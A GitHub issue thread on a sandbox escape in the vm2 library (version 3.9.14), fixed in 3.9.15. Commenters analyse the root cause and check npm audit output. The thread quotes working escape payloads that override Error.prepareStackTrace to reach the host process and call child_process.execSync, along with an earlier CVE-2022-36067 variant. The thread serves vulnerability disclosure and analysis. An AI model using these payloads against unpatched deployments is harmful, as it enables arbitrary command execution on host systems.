Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[VM2 Sandbox Escape] Vulnerability in vm2@3.9.14 #515

Closed
seongil-wi opened this issue Apr 6, 2023 · 13 comments
Closed

[VM2 Sandbox Escape] Vulnerability in vm2@3.9.14 #515

seongil-wi opened this issue Apr 6, 2023 · 13 comments

Comments

@seongil-wi
Copy link

seongil-wi commented Apr 6, 2023

Hello team,
I am Seongil Wi from KAIST in South Korea.

Our research team in KAIST WSP Lab found a sandbox escape bug in vm2@3.9.14.

Since this is a confidential issue, we have sent an e-mail with PoC to the administrators below, so please check it.

Thanks!

@XmiliaH
Copy link
Collaborator

XmiliaH commented Apr 6, 2023

Thanks for the report.

@seongil-wi
Copy link
Author

Hello @patriksimek ,

Could you please open a security advisory for this vulnerability?

@patriksimek
Copy link
Owner

@seongil-wi Just opened it. Thank you for reporting the issue.
@XmiliaH Thank you for such a quick reaction and the patch.

@XmiliaH
Copy link
Collaborator

XmiliaH commented Apr 6, 2023

Fix in release 3.9.15. (See advisory GHSA-7jxr-cg7f-gpgv)

@XmiliaH XmiliaH closed this as completed Apr 6, 2023
@sickcodes
Copy link

Nice one @XmiliaH!

Any feedback on the root cause?

Tried other arrangements of the PoC

Error.arguments = (e, frames) => {
    frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
};
Error.caller = (e, frames) => {
    frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
};
Error.prepareStackTrace = (e, frames) => {
    frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
};

First two, produce ''caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them'

Added some print breakpoints, 3.9.14:

=======
transformer.js:182
hasAsync true
transformer.js:183
isAsync false
transformer.js:184
code 
Error.prepareStackTrace = (e, frames) => {
    frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
};
(async ()=>{}).constructor('return process')()

transformer.js:185
=======
=======
transformer.js:182
hasAsync true
transformer.js:183
isAsync true
transformer.js:184
code (async function anonymous(
) {
return process
})
transformer.js:185
=======

Does it have anything to do with isAsync and hasAsync?

Then set BP on localArrayIsArray in setup-sandbox, shows:

Error.prepareStackTrace becomes:

(error, sst) => {
				if (localArrayIsArray(sst)) {
					for (let i=0; i < sst.length; i++) {
						const cs = sst[i];
						if (typeof cs === 'object' && localReflectGetPrototypeOf(cs) === OriginalCallSite.prototype) {
							sst[i] = new CallSite(cs);
						}
					}
				}
				return value(error, sst);
			}

Line 63 in the sandbox:

// global is originally prototype of host.Object so it can be used to climb up from the sandbox.
if (!localReflectSetPrototypeOf(context, localObject.prototype)) throw localUnexpected();

Is Error, below, missing configuration properties?

Object.defineProperties(global, {
	global: {value: global, writable: true, configurable: true, enumerable: true},
	globalThis: {value: global, writable: true, configurable: true},
	GLOBAL: {value: global, writable: true, configurable: true},
	root: {value: global, writable: true, configurable: true},
	Error: {value: LocalError}
});
	function thisFromOther(other) {
		// Note: other@other(unsafe) returns@this(unsafe) throws@this(unsafe)
		return thisFromOtherWithFactory(defaultFactory, other);
	}

Or currentPrepareStackTrace?

@sickcodes
Copy link

I see
#516

const EvalHandler = {
    __proto__: null,
    apply(target, thiz, args) {
        if (args.length === 0) return undefined;
        let code = `${args[0]}`;
        try {
            code = host.transformAndCheck(null, code, false, false, allowAsync);
        } catch (e) {
            throw bridge.from(e);
        }
        return localEval(code);
    }
};

Where, host.transformAndCheck(null, code, false, false, allowAsync);

So, isAsync is false, however, the code is:

async function aa(){
    eval("1=1")
}
aa()

vm.js line 93,

function transformAndCheck(args, code, isAsync, isGenerator, allowAsync) {
    const ret = transformer(args, code, isAsync, isGenerator, undefined);
    checkAsync(allowAsync || !ret.hasAsync);
    return ret.code;
}

Produces:
{code: '1=1', hasAsync: false}

Which is allegedly async?

@XmiliaH
Copy link
Collaborator

XmiliaH commented Apr 8, 2023

Any feedback on the root cause?

The root cause was that frames is a host array for newer node versions in case of unhandled async errors. Therefore, the frames array is now converted to a sandbox object when it is a host object.

First two, produce ''caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them'

This is expected.

Does it have anything to do with isAsync and hasAsync?

It has noting to do with async. It only required an unhandled async exception.

So, isAsync is false, however, the code is:

async function aa(){
    eval("1=1")
}
aa()

the eval is only there to throw a syntax error to trigger an unhandled async error in the aa function.

@urbantom
Copy link

urbantom commented Apr 8, 2023

Does npm audit command report this vulnerability?

@XmiliaH
Copy link
Collaborator

XmiliaH commented Apr 8, 2023

@urbantom Looking at https://github.blog/2021-10-07-github-advisory-database-now-powers-npm-audit/ it should, though I did not test it.

@urbantom
Copy link

urbantom commented Apr 8, 2023

Does anyone have a vulnerable environment to test the npm audit verification approach? I'll be able to bring my results in the next few days.

@XmiliaH
Copy link
Collaborator

XmiliaH commented Apr 8, 2023

@urbantom I just checked. You will get:

npm audit
# npm audit report

vm2  <3.9.15
Severity: critical
vm2 vulnerable to sandbox escape - https://github.com/advisories/GHSA-7jxr-cg7f-gpgv
fix available via `npm audit fix`
node_modules/vm2

1 critical severity vulnerability

To address all issues, run:
  npm audit fix

otc-zuul bot pushed a commit to opentelekomcloud-infra/backstage that referenced this issue Apr 9, 2023
Bump vm2 from 3.9.13 to 3.9.15

Bumps vm2 from 3.9.13 to 3.9.15.

Release notes
Sourced from vm2's releases.

3.9.15
Fixes
patriksimek/vm2@d534e57: Ensure no host objects are passed through to Error.prepareStackTrace. (Thanky to Seongil Wi from KAIST WSP Lab)
3.9.14
Fixes
patriksimek/vm2@fe3ab68: Support conditional export resolution with custom resolver (thanks to nick-klaviyo).



Changelog
Sourced from vm2's changelog.

v3.9.15 (2023-04-06)
[fix] Security fix (see patriksimek/vm2#515).
v3.9.14 (2023-02-05)
[new] Support conditional export resolution with custom resolver. (nick-klaviyo)



Commits

115d164 Release 3.9.15
d534e57 Wrap host objects passes through prepareStackTrace
e541782 Merge pull request #506 from XmiliaH/release-3.9.14
066afd1 Release 3.9.14
fe3ab68 Merge pull request #505 from NapkinHQ/fix-conditional-export-resolve
eefe3f1 update .eslintignore;update index.d.ts resolve return type
c70d945 add 'type':'module' in es module package.json
4659ce0 add additional return type for resolve signature
1da4415 add missing semicolon
5a86675 Support conditional export resolution with custom resolver
Additional commits viewable in compare view




Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

@dependabot rebase will rebase this PR
@dependabot recreate will recreate this PR, overwriting any edits that have been made to it
@dependabot merge will merge this PR after your CI passes on it
@dependabot squash and merge will squash and merge this PR after your CI passes on it
@dependabot cancel merge will cancel a previously requested merge and block automerging
@dependabot reopen will reopen this PR if it is closed
@dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the Security Alerts page.

Reviewed-by: Artem Goncharov
@blindhacker99
Copy link

Hi @XmiliaH, I am just curious about how the fix had been done for the pretty same exploit method reported by Oxeye team here - https://www.oxeye.io/resources/vm2-sandbreak-vulnerability-cve-2022-36067 ??

In oxeye team's report also the method for escaping the sandbox was typically same where attacker is using the prepareStackTrace() method to customise the CallStack() with escaping context scenario . I am mentioning the part of exploit here:

`globalThis.Error.prepareStackTrace = function(err, traces) {
traces[0].getThis().process.mainModule.require('child_process')

// Here the author is exploiting the fact that CallSite array of stack frames is not sandboxed. Though the author is using one of the
method here is getThis().
}`

As you have explained above that time itself we could have fix the in the same way right?

@XmiliaH
Copy link
Collaborator

XmiliaH commented May 10, 2023

CVE-2022-36067 was different. It used the fact that node does not call the prepareStackTrace on the Error object but on the object reachable by globalThis.Error. In the normal case these two objects are the same but in the mentiond case they changed the Error object and got around the wrapping of the prepareStackTrace function done on the Error object.
This exploit used the fact that in some cases the array passed to the prepareStackTrace is a host object which was not expected and therefore passed as is into the sandbox.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

6 participants